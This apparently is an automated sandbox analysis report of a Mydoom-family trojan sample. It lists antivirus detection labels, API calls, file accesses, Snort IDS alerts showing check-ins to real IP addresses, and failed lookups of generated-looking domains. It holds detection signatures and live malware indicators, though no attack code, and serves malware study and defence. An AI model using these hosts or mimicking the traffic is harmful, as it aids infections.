Source: 11.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 16.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 11.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 25.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 7.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 20.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 39.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 31.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 5.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 8.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 35.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 38.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 23.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 37.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 15.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 4.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 38.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 14.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 17.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 10.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 33.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 26.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 36.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 30.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 14.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 12.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 2.3.smnss.exe.4fa1bc0.17.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 35.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 11.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 25.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 4.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 10.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 8.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 2.3.smnss.exe.4fa1bc0.18.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 19.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 20.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 13.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 2.3.smnss.exe.4f813ae.13.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 2.3.smnss.exe.4f78088.19.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 20.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 2.3.smnss.exe.4cbc610.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 2.3.smnss.exe.4f78088.21.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 18.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 3.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 16.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 5.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 2.3.smnss.exe.4fa1bc0.15.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 30.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 2.3.smnss.exe.4f813b0.4.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 17.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 8.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 24.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 8.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 3.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 2.3.smnss.exe.4f813b0.6.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 3.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 32.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 32.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 17.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 34.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 11.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 2.3.smnss.exe.4f813b0.2.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 3.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 34.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 39.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 16.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 15.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 21.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 26.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 32.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 29.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 16.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 2.3.smnss.exe.4f813b0.10.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 2.3.smnss.exe.4f813b0.5.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 9.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 34.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 2.3.smnss.exe.4fbd616.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 24.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 4.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 21.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 27.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 23.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 26.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 1.0.ctfmen.exe.400000.0.unpack	Avira: Label: TR/Dropper.Gen
Source: 6.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 18.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 33.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 17.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 6.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 13.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 33.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 6.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 18.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 28.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 0.0.ydbWyoxHsd.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 2.3.smnss.exe.4f813b0.8.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 27.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 35.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 36.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 7.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 37.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 38.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 7.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 9.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 31.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 5.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 18.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 37.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 28.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 14.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 19.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 5.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 31.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 33.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 27.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 6.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 28.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 39.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 19.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 2.3.smnss.exe.4f813ae.12.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 2.3.smnss.exe.4f813b0.9.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 30.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 7.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 2.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 38.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 20.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 37.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 22.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 12.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 32.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 29.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 35.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 24.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 2.3.smnss.exe.4f813b0.11.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 29.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 2.3.smnss.exe.4f813b0.7.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 15.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 31.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 26.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 9.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 28.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 24.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 22.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 10.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 10.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 39.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 23.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 12.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 36.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 21.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 22.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 30.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 2.3.smnss.exe.4f813b0.3.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 2.3.smnss.exe.4f813b0.14.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 34.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 29.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 15.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 22.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 36.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 2.3.smnss.exe.4f78088.20.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 14.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 25.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 2.3.smnss.exe.4fa1bc0.16.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 12.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 13.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 23.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 27.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 4.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 25.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 21.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 9.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 19.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe

Code function: 0_2_0040447C CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptDestroyHash,CryptReleaseContext,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,sprintf,

0_2_0040447C

Source: ydbWyoxHsd.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe

Code function: 0_2_00403790 _mbscpy,memset,FindFirstFileA,FindNextFileA,lstrcpy,_mbscat,FindClose,

0_2_00403790

Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\adobe.acrobatreaderdc.protectedmode\	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\adobe.acrobatreaderdc.protectedmode\AC\	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\AC\	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\ActiveSync\LocalState\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49690 -> 72.251.233.245:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49690 -> 72.251.233.245:80
Source: Traffic	Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 72.251.233.245:80 -> 192.168.2.5:49690
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49691 -> 107.6.74.76:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49691 -> 107.6.74.76:80
Source: Traffic	Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 107.6.74.76:80 -> 192.168.2.5:49691
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49692 -> 173.231.189.15:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49692 -> 173.231.189.15:80
Source: Traffic	Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 173.231.189.15:80 -> 192.168.2.5:49692
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49693 -> 199.21.76.81:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49693 -> 199.21.76.81:80
Source: Traffic	Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 199.21.76.81:80 -> 192.168.2.5:49693
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49695 -> 173.231.184.124:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49695 -> 173.231.184.124:80
Source: Traffic	Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 173.231.184.124:80 -> 192.168.2.5:49695
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49729 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49729 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49740 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49740 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49746 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49746 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49748 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49748 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49770 -> 63.251.126.10:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49770 -> 63.251.126.10:80
Source: Traffic	Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 63.251.126.10:80 -> 192.168.2.5:49770
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49794 -> 81.17.29.150:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49794 -> 81.17.29.150:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49801 -> 81.17.18.196:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49801 -> 81.17.18.196:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49810 -> 63.141.242.43:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49810 -> 63.141.242.43:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49816 -> 81.17.29.147:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49816 -> 81.17.29.147:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49825 -> 81.17.29.146:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49825 -> 81.17.29.146:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49829 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49829 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49847 -> 199.59.243.222:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49847 -> 199.59.243.222:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49880 -> 199.59.243.222:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49880 -> 199.59.243.222:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49923 -> 63.141.242.44:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49923 -> 63.141.242.44:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49938 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49938 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49940 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49940 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49949 -> 81.17.18.198:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49949 -> 81.17.18.198:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49950 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49950 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49953 -> 81.17.18.194:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49953 -> 81.17.18.194:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49973 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49973 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49997 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49997 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:50022 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:50022 -> 64.70.19.203:80

Tries to resolve many domain names, but no domain seems valid

Source: unknown	DNS traffic detected: query: snrhmanqhh.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qpnphqawmh.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: weeqshswms.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hqrqwrpmhh.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wwqeemeesr.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: whqrmqmnrs.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: shpqsasmrn.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mannheraph.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: shwwnharma.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ppeseaqmms.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pmnrrneaah.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sphsmrhwha.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aewnhwwpwa.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nerrawwees.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: apmeppqwqh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: psqesnmpph.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: weaeprawra.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hmqrapnpsh.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: shmsemwams.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: raheepmpnn.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wwnmhhenpa.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: namrhepwnn.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qseerensns.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sephpsappn.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: npeewrpmsh.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nmnhwanmwh.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pehawnswha.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qmhqeesawh.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qaqamrhnhh.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: whwsqnemsn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: memmshersa.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: manrhhmrsn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qpnrsrhean.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ahsppnhrmh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wsmsannrsr.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wnshehamhh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mnaahmqpqs.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mahwmwnrmn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nnrhanmhwn.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wrnwernreh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: psswwrmraa.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rrpnmeawrs.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wqsrephqms.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mpehqsqwmn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: weaamsqssa.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: swrhaapnnr.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: whmrraawha.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hmaeshmwmh.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wnhrrnhran.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hmparqsaqa.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wpnermpasr.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nnnrpsanwh.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: haearrsqhn.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: snarawppsr.biz replaycode: Name error (3)
